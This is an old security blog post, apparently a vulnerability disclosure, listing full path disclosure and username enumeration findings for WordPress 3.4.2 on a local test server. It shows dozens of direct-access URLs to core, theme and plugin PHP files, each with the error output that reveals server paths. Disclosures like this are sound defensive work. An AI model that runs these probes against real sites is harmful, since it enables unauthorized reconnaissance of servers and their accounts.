Showing posts with label Path Disclosure. Show all posts
Showing posts with label Path Disclosure. Show all posts

Tuesday, June 25, 2013



Hey everybody.Today we are going to talk about a very common web vulnerability "Full Path Disclosure".

Overview:=

Full Path Disclosure AKA, FPD vulnerabilities enable the attacker to see the internal path structure of an installation. Eg: /home/dir/htdocs/blahblah.
ĐỌC TIẾP »

FPD ~ Full Path Disclosure Vulnerability

By: MIN Software on: 3:48 AM

Monday, December 24, 2012

============================================================
Vulnerable Software: WordPress (Version 3.4.2)
Downloaded from: http://wordpress.org/latest.zip
MD5SUM: (d670508d81e2fd060c2041441bc03300 *wordpress-3.4.2.zip)
===========================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL: 5.5.27
============================================================
                         *User Enumeration: (Well known.+.Still unfixed.Abusing it again.)*
http://192.168.0.15/learn/t//wordpress/wp-login.php
Username: asnasjkdaskljdnl
pass: asdnsknsdnfjdnfd

ERROR: Invalid username. Lost your password?
======================================
http://192.168.0.15/learn/t//wordpress/wp-login.php
Username: admin
pass: asdnsknsdnfjdnfd

ERROR: The password you entered for the username admin is incorrect. Lost your password?

                                         *PATH DISCLOSURES*
No authentication required.Just direct access and it'll expose such information.
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/vars.php
Fatal error: Call to undefined function is_admin() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\vars.php on line 20

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/update.php

Fatal error: Call to undefined function is_main_site() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\update.php on line 433
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/theme.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme.php on line 570
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/sidebar.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\sidebar.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/header.php
Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\header.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/footer.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\footer.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/comments.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\comments.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/comments-popup.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\comments-popup.php on line 10

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/template-loader.php

Fatal error: Call to undefined function is_robots() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\template-loader.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/taxonomy.php
Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\taxonomy.php on line 113
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/shortcodes.php

Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\shortcodes.php on line 334
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/script-loader.php

Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25
Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25
Warning: require(ABSPATHWPINC/class.wp-dependencies.php) [function.require]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25
Fatal error: require() [function.require]: Failed opening required 'ABSPATHWPINC/class.wp-dependencies.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/rss.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\rss.php on line 18

====================================================
192.168.0.15/learn/t/wordpress/wp-includes/rss-functions.php
Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\rss-functions.php on line 8

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/registration.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\registration.php on line 7
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/registration-functions.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\registration-functions.php on line 7

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/post.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\post.php on line 159
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/post-template.php

Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\post-template.php on line 975
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/nav-menu-template.php
Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\nav-menu-template.php on line 17

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/ms-settings.php
Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14
Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14
Warning: require(ABSPATHWPINC/ms-load.php) [function.require]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14
Fatal error: require() [function.require]: Failed opening required 'ABSPATHWPINC/ms-load.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/ms-functions.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-functions.php on line 1826
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/ms-default-filters.php

Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-default-filters.php on line 17
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/ms-default-constants.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-default-constants.php on line 138

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/media.php
Fatal error: Call to undefined function add_shortcode() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\media.php on line 715
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/kses.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\kses.php on line 1430

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/config.php

Notice: Use of undefined constant PSPELL_FAST - assumed 'PSPELL_FAST' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\config.php on line 14
Notice: Use of undefined constant PSPELL_FAST - assumed 'PSPELL_FAST' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\config.php on line 20
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\PSpellShell.php on line 10

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\PSpell.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php

Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\GoogleSpell.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php

Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\EnchantSpell.php on line 12
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/general-template.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\general-template.php on line 1283
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/functions.php

Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8
Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8
Warning: require(ABSPATHWPINC/option.php) [function.require]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8
Fatal error: require() [function.require]: Failed opening required 'ABSPATHWPINC/option.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rss2.php

Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rss2.php on line 8
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rss2-comments.php

Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rss2-comments.php on line 8
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rss.php
Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rss.php on line 8
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rdf.php

Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rdf.php on line 8
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-atom.php

Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-atom.php on line 8
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-atom-comments.php

Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-atom-comments.php on line 8
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/default-widgets.php

Fatal error: Class 'WP_Widget' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\default-widgets.php on line 14
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/default-filters.php

Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\default-filters.php on line 17
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/comment-template.php

Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\comment-template.php on line 1220

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/class.wp-styles.php

Fatal error: Class 'WP_Dependencies' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class.wp-styles.php on line 19
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/class.wp-scripts.php

Fatal error: Class 'WP_Dependencies' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class.wp-scripts.php on line 19
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/class-wp-xmlrpc-server.php

Fatal error: Class 'IXR_Server' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-wp-xmlrpc-server.php on line 22

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/class-wp-http-ixr-client.php

Fatal error: Class 'IXR_Client' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-wp-http-ixr-client.php on line 9
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/class-snoopy.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-snoopy.php on line 6
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/class-feed.php

Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4
Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4
Warning: require_once(ABSPATHWPINC/class-simplepie.php) [function.require-once]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4
Fatal error: require_once() [function.require]: Failed opening required 'ABSPATHWPINC/class-simplepie.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/category-template.php

Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\category-template.php on line 766
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/canonical.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\canonical.php on line 504
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/author-template.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\author-template.php on line 394
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/admin-bar.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\admin-bar.php on line 39
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/tag.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\tag.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/single.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\single.php on line 10

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/sidebar.php

Fatal error: Call to undefined function dynamic_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\sidebar.php on line 20
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/sidebar-footer.php
Fatal error: Call to undefined function is_active_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\sidebar-footer.php on line 17

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/search.php
Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\search.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/page.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\page.php on line 15
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/onecolumn-page.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\onecolumn-page.php on line 15

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop.php

Notice: Undefined variable: wp_query in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop.php on line 23
Notice: Trying to get property of non-object in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop.php on line 23
Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop.php on line 31
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop-single.php

Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop-single.php on line 18
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop-page.php

Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop-page.php on line 18
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop-attachment.php

Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop-attachment.php on line 18
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/index.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\index.php on line 16
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/header.php
Fatal error: Call to undefined function language_attributes() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\header.php on line 12
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/functions.php
Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\functions.php on line 51
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/footer.php
Fatal error: Call to undefined function get_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\footer.php on line 22

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/comments.php
Fatal error: Call to undefined function post_password_required() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\comments.php on line 17
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/category.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\category.php on line 10

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/author.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\author.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/attachment.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\attachment.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/archive.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\archive.php on line 15
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/404.php
Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\404.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/tag.php
Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\tag.php on line 10

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/single.php
Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\single.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar.php

Fatal error: Call to undefined function twentyeleven_get_theme_options() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\sidebar.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-page.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\sidebar-page.php on line 11
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-footer.php
Fatal error: Call to undefined function is_active_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\sidebar-footer.php on line 17
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/showcase.php

Fatal error: Call to undefined function wp_enqueue_script() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\showcase.php on line 18

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/search.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\search.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/page.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\page.php on line 15
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/index.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\index.php on line 15
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/inc/widgets.php

Fatal error: Class 'WP_Widget' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\inc\widgets.php on line 11
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/inc/theme-options.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\inc\theme-options.php on line 23
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/image.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\image.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/functions.php

Fatal error: Call to undefined function is_404() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\footer.php on line 21
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/comments.php

Fatal error: Call to undefined function post_password_required() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\comments.php on line 16
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/category.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\category.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/author.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\author.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/archive.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\archive.php on line 15
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/404.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\404.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/plugins/hello.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\hello.php on line 60
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/widget.php

Fatal error: Class 'WP_Widget' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\widget.php on line 5
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/legacy.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\legacy.php on line 356
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/akismet.php

Fatal error: Call to undefined function plugin_dir_url() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\akismet.php on line 32

====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/admin.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\admin.php on line 2
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/user/menu.php

Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\user\menu.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/upgrade-functions.php
Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\upgrade-functions.php on line 11
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/options-head.php

Fatal error: Call to undefined function wp_reset_vars() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\options-head.php on line 12
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/network/menu.php

Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\network\menu.php on line 11
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/menu.php

Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\menu.php on line 25
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/menu-header.php

Fatal error: Call to undefined function apply_filters() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\menu-header.php on line 22
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/user.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\user.php on line 309

====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/upgrade.php

Notice: Use of undefined constant WP_CONTENT_DIR - assumed 'WP_CONTENT_DIR' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 12
